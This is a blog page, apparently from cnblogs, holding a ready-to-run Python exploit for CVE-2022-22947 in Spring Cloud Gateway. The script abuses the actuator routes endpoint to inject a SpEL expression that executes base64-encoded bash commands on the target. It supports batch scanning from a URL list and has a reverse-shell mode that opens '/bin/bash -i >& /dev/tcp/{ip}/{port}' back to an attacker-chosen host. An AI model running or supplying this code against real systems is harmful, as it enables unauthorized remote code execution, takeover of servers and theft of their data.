首页 > 其他分享 >CVE-2022-22947

CVE-2022-22947

时间:2023-05-23 18:11:28浏览次数:62  
标签:args url cmd uurl headers 22947 2022 requests CVE

#CVE-2022-22947:Spring Cloud Gateway 远程代码执行
import requests
import json
import sys
import base64
import argparse
import re


url1='/actuator/gateway/routes/hacktest'
url2='/actuator/gateway/refresh'
url3='/actuator/gateway/routes/hacktest'
url4='/actuator/gateway/routes/hacktest'
url5='/actuator/gateway/refresh'

headers1={
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
headers2={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded'
}



def poc(uurl,cmd,files):#uurl,cmd,files
    #uurl="http://192.168.56.222:8080"
    # cmd="ls -la"
    cmd = cmd.encode('utf-8')
    cmd = str(base64.b64encode(cmd))
    cmd = cmd.strip('b')
    cmd = cmd.strip("'")
    cmd = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}'
    payload = {
        "id": "code",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}"
            }
        }],
        "uri": "http://example.com",
        "order": 0
    }


    response1 = requests.post(url=uurl + url1, headers=headers1, data=json.dumps(payload,ensure_ascii=False), json=json,timeout=5,verify=False)

    response2 = requests.post(url=uurl+url2,headers=headers2,timeout=5)
    response3 = requests.get(url=uurl+url3,headers=headers2,timeout=5)
    response4 = requests.delete(url=uurl+url4,headers=headers2,timeout=5)
    response5 = requests.post(url=uurl+url5,headers=headers2,timeout=5)
    c=response3.text
    pattern = r"'([^']*)'" 
    matches = re.findall(pattern,c)  
    for match in matches:  
        result=match[:-2] 
    if files:
        with open(f'{files}','a') as f:
            f.write(result+'\n')
    print(result)

def shell(uurl,ip,prot):
    sh = f'/bin/bash -i >& /dev/tcp/{ip}/{prot} 0>&1'
    data1 = sh.encode('utf-8')
    encoded_data = base64.b64encode(data1)
    encoded_sh = encoded_data.decode('utf-8')  

    shel = 'bash -c {echo,123}|{base64,-d}|{bash,-i}'
    cmd = shel.replace("123", encoded_sh)


    payload = {
        "id": "code",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}"
            }
        }],
        "uri": "http://example.com",
        "order": 0
    }

    response1 = requests.post(url=uurl+url1,headers=headers1,data=json.dumps(payload,ensure_ascii=False),json=json,timeout=5,verify=False)
    response2 = requests.post(url=uurl + url2, headers=headers2)
    response3 = requests.get(url=uurl + url3, headers=headers2)
    response4 = requests.delete(url=uurl + url4, headers=headers2)
    response5 = requests.post(url=uurl + url5, headers=headers2)



def main():
    parser=argparse.ArgumentParser('''
            验证单个目标:
                    1、python CVE-2022-22947-exp.py  进入交互模式后,根据提示输入目标url和需要执行的命令,注意命令的正确性
                    2、python CVE-2022-22947-exp.py  -u http://example.com -c whoami
                验证多个目标
                    1、python CVE-2022-22947-exp.py -t url.txt ,将需要验证的目标全部放在exp同一目录下
                导出结果到文档
                    1、python CVE-2022-22947-exp.py -u http://example.com -c whoami  // -t url.txt -f result.txt ,将结果导出到指定文件
                反弹shell
                    1、python CVE-2022-22947-exp.py  -u http://example.com -i 192.168.1.1 -p 1234
            ''')
    parser.add_argument('-c','--cmd',dest='cmd',help='输入命令')
    parser.add_argument('-u','--url',dest='url',help='输入url')
    parser.add_argument('-t','--txt',dest='txt',help='请输入批量验证的文本名称')
    parser.add_argument('-f','--files',dest='files',help='请输入结果导出的文本名称')
    parser.add_argument('-p','--prot',dest='prot',help="输入反弹端口")
    parser.add_argument('-i','--ip',dest='ip',help='输入反弹ip')
    parser.add_argument('-j', '--jj', dest='jj', help='输入反弹ip')
    parser.add_argument('-V','--version',action='version',version='%(prog)s xiaoxin 1.0')
    args=parser.parse_args()
    url=args.url
    #cmd=args.cmd+args.jj
    if args.url and args.ip and args.prot:
        shell(url.strip('/'),args.ip,args.prot)
    elif args.url:
        poc(url.strip('/'),args.cmd,args.files)
    elif  args.txt:
        with open(f'{args.txt}','r') as urls:
            for url in urls:
                poc(url.strip().strip('/'),args.cmd,args.files)
    elif args.jj:
        print(args.jj)
    else:
        print("-h 帮助信息")



if __name__ == '__main__':
    main()




标签:args,url,cmd,uurl,headers,22947,2022,requests,CVE
From: https://www.cnblogs.com/crayonxiaoxin/p/17426026.html

相关文章

  • JOISC 2022 题解
    JOISC2022Day1监狱Jail首先我们发现操作一定是给所有人排序,然后按照顺序直接从\(s_i\)挪到\(t_i\),要求是对于\(i\),所有在它之前挪的\(t\)不能在\(s_i\tot_i\)上,所有在它之后挪的\(s\)不能在\(s_i\tot_i\)上。有了这个条件我们就可以\(O(n^2)\)建图。但是这样......
  • 在 Windows Server 2022 中,微软取消了一些以前的功能。以下是一些被取消的功能
    在WindowsServer2022中,微软取消了一些以前的功能。以下是一些被取消的功能:InternetStorageNameService(iSNS):iSNS是一个网络服务协议,为iSCSI设备提供自动发现和配置。在WindowsServer2022中,iSNS被取消了,建议使用其他的自动发现和配置方法。PeerNameResolu......
  • 在Windows Server 2022中使用Microsoft Deployment Toolkit(MDT)时,Bootstrap.ini文件是
    在WindowsServer2022中使用MicrosoftDeploymentToolkit(MDT)时,Bootstrap.ini文件是用于启动和定制Windows预安装环境(WinPE)的关键文件。以下是常见的Bootstrap.ini参数及其描述:[Settings]:指定设置组。Priority:指定Bootstrap.ini的优先级,以确定哪个Bootstrap.ini文件将被使用(如......
  • Windows server 2022 个人使用 优化批处理batch
    Windowsserver2022个人使用一些优化@echooffregadd"HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}"/v"IsInstalled"/tREG_DWORD/d00000000/fregadd"HKLM\SOFTWARE\Microsof......
  • 在Windows Server 2022中使用Microsoft Deployment Toolkit(MDT)时,可使用Rules(规则)文件
    在WindowsServer2022中使用MicrosoftDeploymentToolkit(MDT)时,可使用Rules(规则)文件来配置和自定义部署过程。以下是常见的Rules参数及其描述:UserDomain:指定要加入的域的名称。UserID和UserPassword:指定加入域所需的管理员帐户凭据。TimeZoneName:指定安装期间使用的时区。Jo......
  • 【DSP视频教程】DSP视频教程第12期:TI开源分享IQmath DSP源码,适用于所有Cortex-M内核,本
    视频教程汇总帖:https://www.armbbs.cn/forum.php?mod=viewthread&tid=110519 今年TI推出MSPM0系列产品配套的SDK软件包里面将此库开源了,之前的时候也移植过IQmatb,不过只有库版本,这次竟然开源了,确实是不可多得的好资源。这个是定点库,非常适合用于M0,  M0+,  M3和不带硬件F......
  • Audition 2022 for Mac软件安装包下载Au 2022软件安装教程
    [名称]:Audition2022[大小]:493MB[语言]:简体中文 [安装环境]:MacOS10.15及以上[是否支持M系列芯片]:支持[简介]:Audition是一种完善工具集,其中包括用于对音频内容进行创建、混音和编辑的多音轨、波形和光谱显示。这一强大的音频工作站旨在加快视频制作工作流程和音频修整的速度,并且......
  • ID2022Mac软件安装教程Indesign 2022 for Mac软件安装包下载
    [名称]:InDesign2022[大小]:878MB[语言]:简体中文 [安装环境]:MacOS10.15及以上[是否支持M系列芯片]:支持[简介]:InDesign是一个定位于专业排版领域的设计软件。借助这款业界领先的页面设计和版面应用程序,可以制作、印前检查和发布用于印刷和数字媒体出版的精美文档。InDesign拥有制......
  • 2022.11.24 NOIP模拟赛
    A.不降序列题目描述lzx2005了解到有一种在\(O(n\logn)\)的时间复杂度内求出一个序列\(a\)的最长不下降子序列的方法如下:维护一个序列\(b\),初始时为空。依次考虑\(a_1,a_2,\ldots,a_n\),当考虑到\(a_i\)时,求出序列\(b\)中第一个比\(a_i\)大的元素,然后使用\(a_i......
  • 2022.11.23 51nod 图论专场?
    A反转Dag图:题面给出一个\(n\)个点\(m\)条边的有向图,顶点编号\(1\)到\(n\),边的编号为\(1\)到\(m\)。你可以选择一些边进行反转(即从\(u\)到\(v\)的边反转后变为从\(v\)到\(u\)的边),将每条边反转都需要一定代价。最终使得整个图变成一个\(Dag\)图。总的反......